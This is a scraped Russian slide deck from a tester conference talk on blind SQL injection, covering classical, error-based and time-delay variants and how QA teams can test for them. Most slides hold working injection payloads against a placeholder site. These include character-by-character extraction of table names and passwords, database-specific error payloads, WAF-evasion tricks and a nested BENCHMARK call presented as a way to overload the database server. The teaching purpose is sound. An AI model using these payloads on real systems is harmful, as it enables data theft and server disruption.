20
Слепые SQL инъекции. Игорь Бондаренко. Neklo.

Blind Sql Injections. Хороши ли ваши тесты?

Embed Size (px)

DESCRIPTION

Blind Sql Injections. Хороши ли ваши тесты?

Citation preview

Page 1: Blind Sql Injections. Хороши ли ваши тесты?

Слепые SQL инъекции.

Игорь Бондаренко. Neklo.

Page 2: Blind Sql Injections. Хороши ли ваши тесты?

Цикл докладов

1/18

1. Тестирование защищенности веб-приложенийhttp://sqadays.com/ru/talk/11187

2. Тестирование программных фильтров безопасности

http://sqadays.com/ru/talk/11128

Page 3: Blind Sql Injections. Хороши ли ваши тесты?

Архитектура уязвимости

Blin

d S

QL

Inje

ctio

n

Classical Injection

Error Based Injection

Double Blind Injection

2/18

Page 4: Blind Sql Injections. Хороши ли ваши тесты?

Условия возникновения уязвимости

• Результат выполнения внедренного запроса не отображается среди данных доступных пользователю

• Внедренный запрос попадает в несколько разных запросов, осуществляющих выборку из таблиц с различным числом столбцов

• Используется фильтрация склеивания запросов

3/18

Page 5: Blind Sql Injections. Хороши ли ваши тесты?

Classical Injection

Вывод информации на экран: Невозможен

Способ обнаружения: Посимвольный перебор

site.com/index.php?id=2

Select title, pageFrom PagesWhere Pages.id = 2;

4/18

Page 6: Blind Sql Injections. Хороши ли ваши тесты?

Обнаружение уязвимости

site.com/index.php?id=2’ AND ‘1’ = ‘1’—Select title, pageFrom PagesWhere Pages.id = 2AND 1=1;

site.com/index.php?id=2’ AND ‘1’=‘2’—Select title, pageFrom PagesWhere Pages.id = 2AND 1=2;

5/18

Page 7: Blind Sql Injections. Хороши ли ваши тесты?

Эксплуатация уязвимости

site.com/index.php?id=2’ AND USER_NAME() = ‘Admin‘

site.com/index.php?id=2’ AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 109

6/18

Page 8: Blind Sql Injections. Хороши ли ваши тесты?

Кому это нужно?

7/18

Page 9: Blind Sql Injections. Хороши ли ваши тесты?

Тестирование

1. Проверка корректной обработки истинных и ложных запросов

2. Проверка со значениями подобранными для существующих пользователей и имен таблиц

8/18

Page 10: Blind Sql Injections. Хороши ли ваши тесты?

Error Based Injection

Вывод информации на экран: В сообщениях об ошибках

Способ обнаружения: Использование готовых техник для конкретных баз данных

9/18

Page 11: Blind Sql Injections. Хороши ли ваши тесты?

Способ обнаружения

site.com/index.php?id=2’ OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(), FLOOR(RAND(0)*2), 64)) --

При наличии уязвимости приложение вернет ошибку:

Duplicate entry '5.0.45' for key 1

10/18

Page 12: Blind Sql Injections. Хороши ли ваши тесты?

Запросы для других баз данных

• PostgreSQL: site.com/index.php?id=1 and(1)=cast(version() as numeric)—

• MSSQL: site.com/index.php?id=1 and(1)=convert(int,@@version)—

• Sybase: site.com/index.php?id=1 and(1)=convert(int,@@version)—

• Oracle:site.com/index.php?id=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--

11/18

Page 13: Blind Sql Injections. Хороши ли ваши тесты?

Тестирование

1. Определение версии и типа поддерживаемой БД

2. Использование готовых эксплоитов для определенной БД

12/18

Page 14: Blind Sql Injections. Хороши ли ваши тесты?

Double Blind Injections

Вывод информации на экран: Отсутствует

Способ обнаружения: Посимвольный перебор с использованием временных задержек

13/18

Page 15: Blind Sql Injections. Хороши ли ваши тесты?

Техники эксплуатации

Посимвольный перебор с помощью Benchmark:site.com/index.php?id=2’ AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 109 , 1, BENCHMARK(2999999,MD5(NOW())))

Способ навредить серверу БД:site.com/index.php?id=2’ AND BENCHMARK(100000, BENCHMARK(100000,md5(current_time)))

14/18

Page 16: Blind Sql Injections. Хороши ли ваши тесты?

Техники эксплуатации

Использование логических запросов AND и OR• /?id=2+OR+0x50=0x50• /?

id=2+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

Использование функций синонимов для WAF• substring((select 'password'),1,1) = 0x70• substr((select 'password'),1,1) = 0x70 • mid((select 'password'),1,1) = 0x70 • strcmp(left('password',1), 0x69) = 1• strcmp(left('password',1), 0x70) = 0• strcmp(left('password',1), 0x71) = -1

15/18

Page 17: Blind Sql Injections. Хороши ли ваши тесты?

Тестирование

1.Проверка отсутствия временных задержек при выполнении истинных и ложных запросов

2.Подбор приемлемого времени отклика

3.Проверка со значениями подобранными для существующих пользователей и имен таблиц

16/18

Page 18: Blind Sql Injections. Хороши ли ваши тесты?

Программы для поиска уязвимостей

1. SQLMap

2. Blind SQL Injector Tool

3. WebInspect

17/18

Page 19: Blind Sql Injections. Хороши ли ваши тесты?

Заключение

1.Проверки слепых инъекций значительно повысят качество ваших тестов

2.Тесты быстрые и простые

3.Тесты можно не проводить вручную

18/18

Page 20: Blind Sql Injections. Хороши ли ваши тесты?

Вопросы

Email: [email protected]

Skype: igor.bondarenko1